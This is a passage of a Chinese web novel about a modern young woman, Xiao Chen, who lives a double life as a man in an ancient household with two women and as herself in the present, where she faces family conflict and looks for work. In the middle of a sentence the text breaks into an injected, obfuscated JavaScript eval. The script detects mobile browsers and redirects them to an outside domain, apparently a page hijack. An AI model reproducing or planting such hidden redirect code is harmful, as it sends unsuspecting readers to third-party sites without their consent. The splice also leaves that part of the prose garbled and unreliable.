真相太过残酷,或许,隐瞒才是对她最好的温柔。 至少此刻,他们是彼此的。 这就够了。 45.他又一次回了现代,她不舍得 晨光透过窗纱,轻轻落在肖晨脸上,将他的轮廓勾勒得格外柔和。丁香醒时,第一眼就看到了他,他还没醒,眉头微蹙,像是在做什么梦。 她静静地看了他许久,心里被一种暖暖的情绪填满。从花船到肖府,从惶惶不安到如今的安稳,都是因为眼前这个人。他是第一个真正尊重她、心疼她的人,也是唯一一个让她觉得可以托付真心的人。 她忍不住凑上前,在他脸颊上轻轻亲了一下,像偷了糖的孩子,脸上泛起浅浅的红晕。 “醒了?”肖晨恰好睁开眼,眼底还带着刚睡醒的迷蒙,嘴角却弯起一抹笑意。 丁香被抓包,有些不好意思地往被子里缩了缩,点了点头。 “怎么不多睡会儿?”他伸手,将她揽进怀里,下巴抵着她的发顶,声音带着清晨的慵懒。 “看你睡得香。”丁香在他怀里闷声道,“公子,往后我会好好爱你,好好守着你。” 肖晨的心微微一颤,低头看她,她的眼里满是认真,像在许下一个郑重的诺言。他收紧手臂,将她抱得更紧:“我也是。” 肖晨看着她眼里毫不掩饰的爱意,心脏像是被什么东西轻轻攥住,终究还是没忍住,把那个藏在心底最深处的假设又往前推了一步。 “丁香,”他的声音有些干涩,指尖无意识地收紧了些,“我再问你个傻问题。” 丁香仰头看他,眼里带着笑意:“公子问便是。” “如果……”他顿了顿,目光紧紧锁住她的眼睛,“如果有一天,我变成了女子,完完全全的女子,你还会接受吗?还会像现在这样……爱我吗?” 这个问题像投入湖面的石子,瞬间打破了房里的宁静。 丁香脸上的笑容慢慢僵住,她显然没料到会是这样的假设,愣了好一会儿,才眨了眨眼,似乎在确认他是不是在开玩笑。见肖晨的表情异常认真,她才皱起眉,小声问:“公子怎么会这么想?人怎么会变成女子呢?” “我是说如果。”肖晨追问道,手心微微出汗。 丁香沉默了,手指无意识地绞着他的衣襟,眼神有些茫然。她从未想过这样的可能,在她的认知里,男女有别是天经地义,性别是一生不变的烙印。 肖晨看着她的犹豫,心里一点点沉下去,果然,这样的假设对她来说太荒谬了。他正要开口说“我开玩笑的”,却听丁香轻轻开了口。 “我不知道。”她的声音很轻,带着困惑,“我从来没想过这样的事……但是……” 她抬起头,看着肖晨的眼睛,眼神渐渐变得坚定:“如果真的有那么一天,你还是你,心里的那些东西没变,会护着我,会心疼我,会跟我说‘不要死’……那我想,我能接受。” 她顿了顿,像是在说服自己,又像是在肯定什么:“爱一个人,不就是爱他心里的那个样子吗?跟是男是女,有什么关系呢?” 肖晨彻底愣住了,看着她清澈的眼睛,里面没有丝毫的鄙夷或恐惧,只有纯粹的认真。他从没想过,会得到这样的答案。 他忽然觉得眼眶有些发热,猛地低头,将她紧紧拥入怀中,力道大得像是要将她揉进骨血里。 “谢谢你,丁香。”他的声音带着一丝不易察觉的哽咽。 这个他藏了无数个日夜的秘密,这个让他辗转难眠的恐惧,在她简单的几句话里,忽然变得不那么可怕了。 丁香被他抱得有些喘不过气,却没挣扎,只是轻轻拍着他的背,像安抚一个受了委屈的孩子。 她不知道他为什么会问这样的问题,也不知道这个问题对他意味着什么,但她知道,自己说的是真心话。 晨光透过窗纱,在两人身上流淌,温暖而绵长。 或许这个假设永远不会成真,或许真相揭开的那天依旧会掀起惊涛骇浪,但此刻,肖晨抱着怀里的人,第一次觉得,心里那块沉甸甸的石头,轻了些。 至少,有人告诉过他:无论你变成什么样,我都爱。 这就够了。 肖晨的声音带着一丝连自己都未察觉的颤抖,像个怕被抛弃的孩子:“我真的怕,怕有一天自己变成了女子,你就不会再爱我了。” 这个秘密压在心底太久,像块巨石,此刻借着她的坦诚,终于泄露出一丝缝隙。他甚至不敢去看她的眼睛,怕从那里看到一丝犹豫或恐惧。 丁香却轻轻捧起他的脸,让他抬头看着自己。她的眼神清澈而坚定,没有半分动摇:“不会的。” 她一字一句,说得格外认真:“我爱的从来不是你的身份,也不是你的性别,只是你这个人。是那个在巷口挡在我身前的你,是那个会心疼我、护着我的你,是这个此刻会怕我离开的你。” “我爱的只有你,也只能是你。”她的指尖轻轻摩挲着他的脸颊,带着不容错辨的执拗,“就算天塌下来,就算你真的变成了女子,我对你的心,也不会变。” 肖晨看着她眼里的光,那光比窗外的晨光还要明亮,瞬间驱散了他心底所有的阴霾和恐惧。他忽然觉得鼻子一酸,眼眶发热,有液体要涌出来。 他猛地将她紧紧抱住,下巴抵在她的发顶,声音沙哑得不成样子:“丁香……” 千言万语,最终都化作了这两个字。 丁香任由他抱着,轻轻拍着他的背,像安抚一个受了惊吓的孩子。她不知道他为什么会有这样的担忧,却知道此刻,他需要这份肯定。 房里静悄悄的,只有两人交缠的呼吸声,和窗外偶尔传来的鸟鸣。 许久,肖晨才缓缓松开她,眼底还带着湿润,却笑了,那笑容里带着释然,带着感激,还有一丝前所未有的安稳。 “嗯。”他轻轻应了一声,像是在回应她的话,也像是在说服自己。 或许,未来真的有太多未知,但至少此刻,他拥有她的承诺,拥有这份不问缘由的爱。 他低头,再次吻上她的唇,这一次,带着前所未有的安心和珍视。 晨光正好,岁月安稳,只要身边有她,似乎再难的坎,都能跨过去。 丁香微微仰着头,沉溺在他温柔的亲吻里,手臂紧紧环着他的脖颈,不愿松开分毫。这一刻的温暖和踏实,是她从前想都不敢想的奢望,如今握在手里,便只想牢牢抓住。 肖晨缓缓松开她时,两人的呼吸都有些急促。他抵着她的额头,声音低沉而认真:“我会好好爱你的。” 丁香看着他眼里的真挚,用力点了点头,眼底漾着水光,却笑得格外明媚:“我相信你。” 她顿了顿,想起李傲雪那双总是带着温和却又藏着委屈的眼睛,轻声道:“往后,我会好好和少夫人相处,学着伺候她,绝不会让你为难。” 她知道自己身份尴尬,若是再让他夹在中间左右为难,那就太不懂事了。李傲雪是个好人,她不该因为自己的存在,让那位原本温婉的女子更添愁绪。 肖晨听着她的话,心里又是欣慰又是心疼。她总是这样,替别人着想,把自己的委屈藏得严严实实。 他伸手,轻轻抚摸着她的头发,柔声道:“不用刻意去做什么,做你自己就好。傲雪那边,我会处理好,不会让你受委屈。” 丁香笑了,往他怀里缩了缩,像只找到了港湾的小猫:“嗯。” 窗外的阳光越发明媚,透过窗纱洒在两人身上,暖洋洋的。房里没有了之前的局促和不安,只剩下脉脉的温情。 或许往后的日子,三人之间难免会有微妙的时刻,但只要彼此都存着一份体谅和善意,总能找到相处的平衡。 肖晨抱着怀里的人,心里一片柔软。他想,不管未来有多少风雨,他都会护好她们,让这份来之不易的安稳,能久一点,再久一点。 肖晨起身时,丁香也跟着坐起来,动作有些迟缓,显然身体还带着不适。她咬着唇,想下床给他拿衣服,却被肖晨按住了。 “别动,你身体还没好,得好好养着。”他说着,自己拿起一旁的外袍,又伸手去拿她的衣衫,“我来给你穿。” 丁香猛地按住他的手,眼睛睁得圆圆的,像是被吓到了:“这……这可不行!” “怎么不行?”肖晨挑眉。 “哪有男子服侍女子穿衣的道理?”她急得脸颊发红,声音都有些发颤,“这不合礼仪的。更何况……更何况你是我的男人,是肖家的少爷,怎么能做这种事?万万不可!” 在她的认知里,从来都是女子伺候男子,尤其是他这样的身份,别说给她穿衣,便是递杯水,都该是丫鬟的活计。 肖晨看着她紧张的样子,心里又暖又笑,握住她的手轻声道:“在我这里,没那么多规矩。你是我的人,我疼你、照顾你,是应该的。” 他不顾她的反对,拿起衣衫轻轻披在她肩上,动作温柔得像对待易碎的瓷器。丁香的身体还在发僵,却被他眼底的认真和温柔渐渐软化了,只是低着头,脸颊红得能滴出血来。 “你看,这不挺好的?”肖晨替她系好系带,满意地看着自己的成果,“礼仪规矩是死的,人是活的。在咱们房里,不用讲那些。” 丁香咬着唇,小声嘟囔:“可……可还是怪怪的。” 肖晨笑了,伸手刮了下她的鼻尖:“慢慢就习惯了。” 他转身自己洗漱,动作利落地换好衣服,回头见她还坐在床边发愣,眼里带着羞赧,却又藏着一丝不易察觉的甜。 “傻坐着干什么?”他走过去,弯腰将她打横抱起,“我抱你去洗漱。” “啊!”丁香惊呼一声,连忙搂住他的脖子,“公子,我自己能走……” “听话。”肖晨低头看她,语气带着不容置疑的温柔,“养好身体最重要。” 丁香看着他近在咫尺的眉眼,终究还是红着脸点了点头,把脸埋进他怀里,嘴角却悄悄扬起。 或许,这样的“不合礼仪”,也没那么难接受。 至少,这让她真切地感受到,自己是被他放在心尖上疼的。 肖晨仔细替她擦完脸,又用温热的帕子擦了擦她的手,动作轻柔得像在打理一件稀世珍宝。他将她小心放回床上,刚要直起身,手腕却被她轻轻拉住。 丁香仰着头看他,眼里像盛着揉碎的星光,带着毫不掩饰的依恋。没等他反应过来,她已经微微踮起脚尖,凑上前吻住了他的唇。 这个吻很轻,带着点笨拙的主动,却像羽毛般搔在他心上,酥酥麻麻的。 她很快松开他,脸颊红得像熟透的苹果,声音却带着满足的喟叹:“你真好。” 她伸手,指尖轻轻描摹着他的眉眼,眼神亮得惊人:“我就想亲亲我的男人。” 肖晨的心像是被温水漫过,又软又烫。他低头,在她额头上印下一个轻柔的吻,声音里带着笑意:“贪心的小家伙。” 丁香往他怀里缩了缩,像只慵懒的小猫,嘴角弯得高高的:“就贪你的好。” 阳光透过窗纱落在她脸上,绒毛都看得清清楚楚,那副满足又羞怯的模样,让肖晨心里涌起一股强烈的保护欲。 他轻轻拍了拍她的背:“乖乖躺着,我去让厨房给你炖点汤,补补身子。” 丁香点了点头,却还是拉着他的衣袖不肯放,直到他再三保证“很快就回来”,才依依不舍地松开手。 肖晨走到门口时回头看了一眼,她正支着下巴看着他,眼里的笑意藏都藏不住。 他心里忽然觉得,那些跨越时空的挣扎,那些隐瞒身份的煎熬,在这一刻,都变得不那么重要了。 只要能看到她这样的笑,能守着这份简单的温暖,就够了。 他笑着摇了摇头,转身往厨房走去,脚步轻快得像踩着风。 肖晨到厨房时,厨子正忙着备早膳。他仔细交代了要炖些温补的汤,再做几样软嫩好消化的小菜,反复叮嘱“少油少盐,莫要放辛辣”,听得厨子连连点头,心想这位新纳的丁香姑娘,怕是要被少爷捧在手心里疼了。 饭菜很快备好,丫鬟端着食盒跟着他回了跨院。丁香正靠在床头翻着一本闲书,见他进来,立刻放下书想坐直些。 “别动。”肖晨快步走上前,将食盒放在床边的小几上,打开盖子,里面是一碗乌鸡汤,还有几样清清爽爽的小菜,“我喂你。” 他拿起勺子,舀了一勺汤吹了吹,递到她嘴边。 丁香却偏过头,脸上带着些为难:“公子,你为我做的已经够多了,真的。”她看着那勺汤,声音轻轻的,“以后……以后不要再这样了,不合礼仪的。府里人多眼杂,要是被人看到,定会说我恃宠而骄,不懂规矩,到时候我……我会很难做的。” 她不是不喜欢这份亲近,只是身份所限,不敢太过逾矩。在肖家这样的大户人家,一个妾室被少爷如此伺候,只会招来更多非议。 肖晨看着她眼里的顾虑,又想起她方才说“会好好和少夫人相处”,心里明白她的难处。他沉默片刻,终究还是放下了勺子,点了点头:“好,不勉强你。” 他把碗筷递到她手里,语气放软了些:“那你自己慢慢吃,可要好好把这些都吃完,养好了身体,比什么都重要。” 丁香接过碗筷,用力点了点头,眼里闪过一丝松快,也藏着些许不易察觉的失落。她拿起勺子,小口小口地喝着汤,鸡汤炖得很鲜,暖意顺着喉咙滑下去,熨帖了五脏六腑。 “味道怎么样?”肖晨在一旁看着她,眼里带着期待。 “很好喝。”丁香笑了笑,又夹了一筷子青菜,“厨子的手艺真好。” “你喜欢就好。”肖晨也拿起自己的碗筷,却没怎么动,目光总落在她身上,见她吃得认真,嘴角也跟着扬起笑意。 阳光透过窗棂照在小几上,映着两人安静吃饭的身影,没有了之前的拉扯和试探,只剩下淡淡的温情。 丁香知道,他是真的疼她,这份疼惜,她记在心里。但礼仪规矩是她安身立命的根本,她不能因为自己的一时贪恋,给他惹来麻烦。 吃完饭,她将碗筷递给丫鬟,靠在床头,看着肖晨道:“公子去忙吧,我在这里歇着就好。” “嗯。”肖晨起身,替她掖了掖被角,“有事就让丫鬟来叫我,别自己硬撑着。” “知道了。” 他转身往外走,走到门口时又回头看了一眼,她正望着他,眼里带着温顺的笑意。 肖晨心里轻轻叹了口气,或许,她的顾虑是对的。慢慢来,总能找到彼此都舒服的方式。 只要她能好好的,就够了。 肖晨推开李傲雪房门时,她正坐在窗边绣着一方帕子,阳光落在她发间,镀上一层柔和的金边。听到动静,她抬起头,放下绣绷,脸上露出温和的笑意:“少爷怎么没陪着丁香姑娘?她身子怕是还没缓过来。” 肖晨走到她身边坐下,看着那方绣了一半的兰草帕子,帕针细密,针脚工整,一如她的人,总是这样妥帖周到。他沉默片刻,声音低沉而认真:“你也是我的妻子。” 李傲雪绣帕的手顿了顿,指尖微微发凉。她抬起眼,看着肖晨,眼里闪过一丝讶异,随即是难以掩饰的动容,眼眶轻轻泛红,却努力笑着:“我知道的。” 她知道自己是正妻,该有正妻的气度,不该计较这些。可听到他这句话,心里那点委屈和不安,还是悄悄散了些。 “前些日子,让你受委屈了。”肖晨看着她眼底的红痕,心里满是愧疚,“往后,不会了。” 李傲雪摇摇头,拿起帕子继续绣着,声音轻得像风:“夫妻本就该相互体谅。丁香姑娘也是个苦命人,你待她好些,是应该的。” 她从不说酸话,也从不争什么,可这份懂事,更让肖晨心疼。 “不管什么时候,你在我心里的位置,都不一样。”肖晨看着她的侧脸,语气无比郑重,“这点,永远不会变。” 李傲雪的手又顿了顿,这一次,有泪珠轻轻落在绣帕上,晕开一小片水渍。她没回头,只是轻轻“嗯”了一声,声音带着不易察觉的哽咽。 窗外的风拂过,带来淡淡的桂花香。房里静悄悄的,没有太多话语,却有一种无声的理解在两人之间流淌。 肖晨知道,有些伤害已经造成,不是一句“对不起”就能弥补的。但他会用往后的日子,一点点去偿还,去让她安心。 他伸出手,轻轻握住她拿针的手,她的手微凉,却很柔软。 李傲雪身体微僵,随即慢慢放松下来,任由他握着。 或许,日子就是这样,有磕绊,有委屈,却也有这样不动声色的温暖。 只要他心里还有她的位置,就够了。 肖晨看着她微红的眼眶,心里那股愧疚翻涌得更厉害。他忽然俯下身,轻轻吻上她的唇。这个吻不同于对丁香的炽热,带着沉淀的温柔,和一丝小心翼翼的安抚。 “我是不会离开你的。”他在她唇边低语,声音里带着不容错辨的坚定,“从来都不会。” 李傲雪的身体微微一颤,睫毛上的泪珠滚落,恰好落在他的手背上,凉丝丝的。她闭上眼,慢慢抬起手,环住他的脖颈,回应着这个迟来的吻,声音轻得像叹息:“少爷心里有我就好……真的,这样就好。” 她不奢求独占他的目光,只求在他心里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014092|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能有一隅属于自己的安稳。 肖晨加深了这个吻,带着失而复得的珍重。她的回应带着温顺,带着隐忍,也带着一丝压抑许久的依赖,任由他索取,像一株在风中漂泊许久的藤蔓,终于找到了可以依靠的树。 窗外的桂花不知何时落了几片进来,沾在窗台上,香气清幽。 许久,他才缓缓松开她,额头抵着她的,看着她泛红的眼角,声音沙哑:“委屈你了,傲雪。” 李傲雪摇摇头,伸手轻轻抚平他微皱的衣襟,动作温柔得像在呵护一件稀世珍宝:“不委屈。只要一家人好好的,就不委屈。” 她知道自己的身份,也明白他的难处,能听到他这句“不会离开”,能感受到他此刻的珍视,就已经足够。 肖晨握住她的手,紧紧攥在掌心,像是要将这份承诺刻进彼此的骨血里。 或许往后的日子,依旧会有平衡的难题,会有旁人的蜚语,但此刻,他只想让她知道,她在他心里,从未改变。 肖晨坐在床边,看着李傲雪温柔的侧脸,犹豫了许久,才轻声开口:“傲雪,我得回去一趟。” 李傲雪绣帕的手猛地一顿,抬起头看着他,眼里闪过一丝慌乱,却很快被她掩饰过去,只轻轻“嗯”了一声,声音有些发颤:“是……回您说的那个地方吗?” 她知道他总有一天要走,却没想到这么快。这些日子的安稳,让她几乎忘了他本就不属于这里。 肖晨点点头,心里涌上浓浓的不舍:“嗯,有些事需要处理,很快就回来。” 李傲雪低下头,指尖无意识地绞着绣帕,轻声问:“这次回去,少爷的父母……会接受我吗?”她不知道那个世界是什么样子,却总想着,若能被他那边的亲人认可,或许就能离他更近一些。 肖晨的心像被什么东西刺了一下,他没法告诉她,那个世界的“父母”,其实是属于另一个身份的家人,更没法解释自己灵魂的真相。他伸手,轻轻抚摸着她的头发:“你不用想这些,在这里好好等我就好,我一定会回来的。” 李傲雪抬起头,看着他坚定的眼神,用力点了点头,将眼眶里的湿意逼了回去:“好,我等你。” 肖晨起身,走到桌前,拿起那幅早已画好的李傲雪肖像画,画里的她眉眼温婉,带着浅浅的笑意。他将画小心地卷好,揣进怀里,又回头深深看了她一眼,才转身往跨院走去。 他想再看看丁香。 丁香还靠在床头,见他进来,眼里立刻亮起光,随即又察觉到他神色不对,轻声问:“公子,怎么了?” “我要离开一阵子。”肖晨走到床边,握住她的手,“你好好在这里住着,听傲雪的话,等我回来。” 丁香的手猛地收紧,眼里满是惶恐:“公子要走?去哪里?还会回来吗?” “会的,一定回来。”肖晨看着她泛红的眼眶,心疼不已,却只能硬起心肠,“在这里等我,嗯?” 丁香咬着唇,点了点头,眼泪却还是掉了下来:“我等你,多久都等。” 肖晨替她擦去眼泪,低头在她额头印下一个吻,然后转身走到床边躺下。他从怀里拿出那幅画,紧紧攥在手里,闭上眼睛,在心里默念着那个熟悉的数字——520。 一阵强烈的眩晕袭来,身体仿佛被抽离,周围的一切都在飞速旋转、模糊。 再次睁开眼时,映入眼帘的是熟悉的白色天花板,耳边传来窗外汽车驶过的鸣笛声。 他躺在自己的房间里,身上穿着熟悉的睡衣。 肖晨缓缓坐起身,看着自己纤细的手腕,感受着身体里属于的熟悉触感,知道自己又回到了现代。 怀里的画早已不见,仿佛那方古宅里的一切,都只是一场冗长而真实的梦。 他走到镜子前,看着镜中那个穿着粉色睡衣、扎着马尾的女孩,眼眶忽然红了。 傲雪还在等他,丁香也在等他。 而她们,还不知道自己等的“肖晨”,本就是个和她们一样的女子。 肖晨靠在镜子上,深深吸了口气。 520,他默念着这个数字,心里只有一个念头—— 等处理好这边的事,一定要回去。 无论如何,都要回去面对她们。 肖晨拿起手机,屏幕上的时间显示着她离开时的分钟数只跳动了一下——原来在现代,她的离开不过短短一分钟,可在那方古宅里,却已度过了那样漫长而曲折的时光。 指尖划过屏幕,她拨通了父母的电话,听筒里传来熟悉的忙音,每一声都敲在心上。 “喂,晨晨?”母亲的声音带着些许意外,“这个点打电话,有事吗?” 肖晨深吸一口气,尽量让自己的声音听起来平静:“爸妈,我想明天回去一趟。” 电话那头沉默了几秒,随即传来父亲的声音,带着惯有的沉稳:“怎么突然要回来?等回来再说吧,家里都好,你那边没什么事吧?” “没事,就是想回去看看。”肖晨攥紧了手机,指节泛白。 “行,那你路上小心,到家给我们打电话。”母亲叮嘱道。 挂了电话,肖晨看着屏幕上自己的名字——无论是在现代这个住着父母的城市,还是在那方有着傲雪和丁香的古宅,她都叫肖晨。 同一个名字,却承载着两个截然不同的身份,两份沉甸甸的牵挂。 她走到窗边,看着楼下车水马龙,霓虹闪烁,这里是她从小长大的地方,熟悉得不能再熟悉。可不知从何时起,那方古宅里的青砖黛瓦、红烛微光,竟也成了难以割舍的牵绊。 明天回去,该怎么跟父母说?又该用多久处理好这边的事,才能再次回到那个需要她的地方? 肖晨靠着窗沿,轻轻呼出一口气,手机屏幕的光映在她脸上,忽明忽暗。 不管怎样,先回去看看吧。 她在心里默念着,目光望向远方,仿佛能穿透这层层楼宇,看到那方古宅里,正翘首以盼的两个人。 肖晨推开家门时,客厅里一片沉默。父母坐在沙发上,脸色凝重,茶几上的茶杯冒着热气,却没人动。 “回来了。”父亲抬头看了她一眼,声音沉得像压着石头。 肖晨换鞋的手顿了顿,指尖发凉,点了点头:“嗯。” 她知道他们要说什么。上次离开前的争吵还历历在目,关于她“喜欢同性”的猜测,像一根刺扎在这个传统家庭的心上。 母亲放下茶杯,杯底与桌面碰撞发出轻响,打破了沉默:“晨晨,我们问你最后一次,你想清楚了没有?” 肖晨的心跳猛地加速,攥紧了衣角。 “要是你还抱着那些乱七八糟的想法,”母亲的声音带着颤抖,眼眶泛红,“我们今天就断绝关系。我们受不了……真的受不了你走歪路,更受不了你成为第二个南康白起!你要是有个三长两短,我和你爸也别活了!” 南康白起的故事,他们曾在新闻里看到过,那些关于同□□恋的挣扎与悲剧,成了他们心里最深的恐惧。 肖晨张了张嘴,想说“我不是”,想解释自己从未有过那样的感情,可话到嘴边,却被另一个秘密堵了回去——她穿越到古代,与两个女子产生纠葛的事,比“同性恋”的猜测更离谱,更不可能被接受。 她只能低着头,声音艰涩:“爸,妈,我没有……我只是……” “只是什么?”父亲打断她,语气严厉,“你这阵子神神叨叨,动不动就消失,打电话也心不在焉。我们是你父母,你心里想什么,我们能看不出来?” “我真的没有……”肖晨的声音越来越低,心里又酸又涩。他们担心的是她的“取向”,却不知道她真正的秘密,比这复杂千万倍。 客厅里再次陷入沉默,只有墙上的挂钟滴答作响,敲得人心里发慌。 肖晨看着父母鬓角的白发,看着他们眼里的焦虑与恐惧,忽然觉得无比疲惫。她不能告诉他们真相,只能任由他们误会,这种无力感像潮水般将她淹没。 “我……我会想清楚的。”最终,她只能说出这样一句话,声音轻得像叹息。 母亲别过头,抹了把眼泪,没再说话。父亲重重叹了口气,起身走进了书房。 肖晨站在原地,看着空荡荡的客厅,手里的背包带子勒得肩膀生疼。 她知道,这次回来,并没有想象中那么容易。 一边是现代的亲情与责任,一边是古代的牵挂与承诺,而她夹在中间,像个被撕扯的陀螺,找不到平衡的支点。 窗外的阳光很亮,却照不进她此刻沉重的心底。 46.成了游戏王者荣耀代练 从家里出来,肖晨深吸了一口带着汽车尾气的空气,胸口那股憋闷才稍稍散了些。她没地方可去,脚步下意识地走向街角那家熟悉的网吧,推开玻璃门,烟味和键盘敲击声扑面而来,竟让她莫名觉得安心。 开了台机器,她翻出微信,给子涵发了条消息:“出来,老地方,痛痛快快打一场。” 子涵是她从小玩到大的发小,也是少数知道她“肖晨”这个名字背后,偶尔会流露出的迷茫的人。没几分钟,微信就回了个“马上到”的表情包。 半小时后,子涵风风火火地冲进来,一巴掌拍在肖晨肩上:“哟,大小姐终于舍得约我了?这阵子死哪儿去了?” 肖晨没抬头,点开王者荣耀:“少废话,上号。” “得嘞。”子涵也不追问,麻利地开了旁边的机器,登录账号,“今天打排位还是匹配?我新练了个打野,贼猛!” “排位,输了剁手。”肖晨挑眉,选了个辅助孙膑,“辅助你,别坑。” “看不起谁呢!”子涵选了镜,“看我carry全场!” 游戏开始,背景音乐响起的瞬间,肖晨感觉紧绷的神经忽然松弛下来。操控着小人在地图上跑位、放技能,听着子涵在旁边咋咋呼呼“快保护我”“这波我能秀”,那些关于古代的牵挂、现代的争吵,似乎都暂时被隔绝在了屏幕之外。 她玩得很凶,操作却稳得很,孙膑的二技能总能在关键时刻抬血,大招也精准地框住对方C位。子涵的镜确实练得不错,进场切后排干净利落,两人配合得默契十足,连赢了五把。 “爽!”子涵摘下耳机,灌了口可乐,“你今天状态可以啊,跟打了鸡血似的。” 肖晨靠在椅背上,看着屏幕上的胜利界面,嘴角终于扬起点笑意:“好久没玩,手痒了。” “得了吧,”子涵睨她一眼,“你那点心思藏不住。是不是家里又说你了?” 肖晨沉默了一下,点了点头,没细说。 子涵叹了口气:“你啊,有时候真该学学我,脸皮厚点。他们说他们的,你活你的。” “哪有那么容易。”肖晨苦笑。 “也是。”子涵挠挠头,“不过说真的,你要是真有啥想不开的,跟我说。别自己憋着。” 肖晨看着他大大咧咧的样子,心里暖了些,拿起桌上的水喝了一口:“知道了。再来一把?” “来就来!”子涵重新戴上耳机,“这把我玩射手,你还辅助我!” 屏幕再次亮起,厮杀声、技能音效混在一起,网吧里的喧嚣仿佛成了另一个世界的背景音。肖晨操控着角色,跟着子涵的后羿往前冲,忽然觉得,这样简单的快乐,已经很久没有过了。 或许,偶尔逃离一下也好。 至少此刻,她不用是那个在古代周旋的肖晨,也不用是被父母逼问的肖晨,她只是个在游戏里冲锋陷阵的玩家。 打完最后一把,天已经黑了。两人走出网吧,晚风一吹,带着点凉意。 “我回去了。”子涵挥挥手,“有事再叫我。” “嗯。”肖晨点头,看着他跑远的背影,拿出手机,屏幕上干干净净,没有新消息。 她站在路口,看着车来车往,忽然不知道该往哪儿去。 回父母家?怕又是一场争吵。 回自己的出租屋?那里空荡荡的,只会让她更想那个有丁香和傲雪的古宅。 犹豫了半天,她还是点开了打车软件,输入了出租屋的地址。 不管怎样,总得先把这边的事理顺了。 她在心里对自己说,也像是在对那两个等她的人承诺。 回到出租屋,肖晨把背包随手扔在沙发上,踢掉鞋子赤脚踩在地毯上,长舒了一口气。这里的一切都带着熟悉的烟火气,和古宅的清幽雅致截然不同,却让她紧绷的神经彻底放松下来。 她从冰箱里翻出囤的薯片、巧克力,又点了杯加冰的珍珠奶茶,盘腿坐在地毯上,一边咔嚓咔嚓嚼着零食,一边吸溜着奶茶,甜腻的味道在舌尖散开,那种纯粹的、属于现代的快乐,让她忍不住眯起了眼——好不快活。 吃饱喝足,她靠着沙发消食,目光落在角落里的书架上。上面堆满了乱七八糟的书,还有几本画集,落了层薄薄的灰,显然是好多天没整理了。 肖晨起身走过去,随手抽出一本画册翻了翻。她确实喜欢书画,尤其爱琢磨那些古画的笔触意境,但也仅限于欣赏——她压根没有绘画天赋,画个简笔画都歪歪扭扭。 指尖划过书页,忽然想起自己在古代画的那幅李傲雪的肖像画,线条流畅,神态逼真,连她自己都惊讶当时怎么能画得那么好。 “奇怪……”她喃喃自语,摸着下巴琢磨,“我明明没这本事啊。” 难道是因为古代那个“肖晨”的原身?那个身体的主人,或许本就擅长书画?她穿越过去,不仅借了人家的身份,连带着原身的某些技能也一并继承了? 这个念头冒出来,越想越觉得有可能。就像她第一次拿起毛笔写字,明明现代的自己只会握钢笔,却能在古代写出还算工整的毛笔字,大概也是这个道理。 肖晨把画册放回书架,拍了拍手。管它是怎么回事呢,能画出傲雪的样子,总归是好的。 她走到窗边,看着楼下车灯汇成的河流,心里忽然踏实了些。不管是现代的她,还是古代的肖晨,不管是继承了谁的技能,那些牵挂和承诺都是真的。 奶茶杯空了,零食袋也堆了一小堆。肖晨伸了个懒腰,决定先好好睡一觉,至于明天的事,明天再说。 至少此刻,她可以暂时抛开那些身份的纠葛,做个简简单单、吃着零食喝着奶茶的普通人。 夜色渐深,出租屋里只剩下空调运行的轻微声响,肖晨蜷缩在沙发上,很快就沉沉睡去。梦里,似乎又回到了那方古宅,丁香和傲雪正坐在庭院里,笑着等她回去。 第二天早上,手机震动了一下,是母亲发来的消息:“晨晨,想的怎么样了?” 肖晨盯着屏幕看了很久,指尖在输入框上悬停半天,最终只回了两个字:“我回家。” 推开家门时,父母正坐在餐桌旁,桌上摆着她爱吃的煎蛋和粥,却没动筷子,显然是在等她。看到她进来,母亲连忙站起来:“回来了?快坐下吃饭。” 肖晨坐下,拿起筷子,却没什么胃口。客厅里的气氛有些沉闷,只有碗筷碰撞的轻响。 “想通了就好。”父亲先开了口,语气缓和了些,“你还年轻,很多事看不透,爸妈是怕你走弯路。” 肖晨低着头,看着碗里的粥,声音轻轻的:“我想通了。” 她知道,父母的观念根深蒂固,短时间内不可能改变。与其硬碰硬,让彼此都痛苦,不如先顺着他们,至少能暂时平息这场风波。至于真相,或许永远都不能说出口。 “真的想通了?”母亲追问,眼里带着小心翼翼的期待。 肖晨抬起头,对上他们的目光,点了点头:“嗯,我知道什么该做,什么不该做。你们放心吧。” 她没有解释太多,也没有承诺太多,只是给了他们一个想要的答案。 母亲的眼眶一下子红了,拿起纸巾擦了擦眼角:“哎,想通了就好,想通了就好。晨晨,你能这么想,爸妈就放心了。” 父亲也松了口气,端起粥喝了一大口,像是卸下了千斤重担:“这才对嘛,年轻人就要走正道。以后好好工作,找个靠谱的对象,安安稳稳过日子。” 肖晨没说话,只是默默喝着粥。心里像压着块石头,沉甸甸的。她知道自己说了谎,这个谎言或许能换来暂时的安宁,却也让她离真实的自己越来越远。 吃完饭,她帮着收拾了碗筷,没多做停留:“我那边还有事,先回去了。” “好,好。”母亲连忙点头,“有空常回来,想吃什么跟妈说。” 走出家门,阳光刺眼,肖晨却觉得心里一片冰凉。她拿出手机,看了看时间,离她离开古代已经过去两天了。 不知道丁香的身体好点了没有,傲雪是不是还在对着那幅画发呆。 她深吸一口气,拦了辆出租车,报了出租屋的地址。 这边的事暂时平息了,该想办法回去了。 不管现代的牵绊有多沉重,古代的那两个身影,始终在她心里牵肠挂肚。 有些承诺,说了就要做到。 回到出租屋,肖晨把自己摔进沙发里,盯着天花板发了会儿呆,才慢悠悠爬起来打开电脑。既然暂时安抚了父母,总得先把生计问题解决了——她的积蓄已经见底,再不找份工作,下个月的房租都成问题。 点开招聘软件,她筛选了几个看起来合适的岗位,一一投了简历。从行政助理到文案策划,都是些看似门槛不高的职位,可等了一下午,手机安安静静,连个已读回执都没有。 傍晚时,终于收到两条回复,点开一看,一条写着“抱歉,您的工作经验不符合我们的要求”,另一条更直接:“经初步筛选,您的条件与岗位不匹配。” 肖晨盯着屏幕,忍不住啧了一声,把手机扔到一边。她瘫在椅子上,看着书架上那本印着“大学毕业证书”字样的相框,一股挫败感涌了上来。 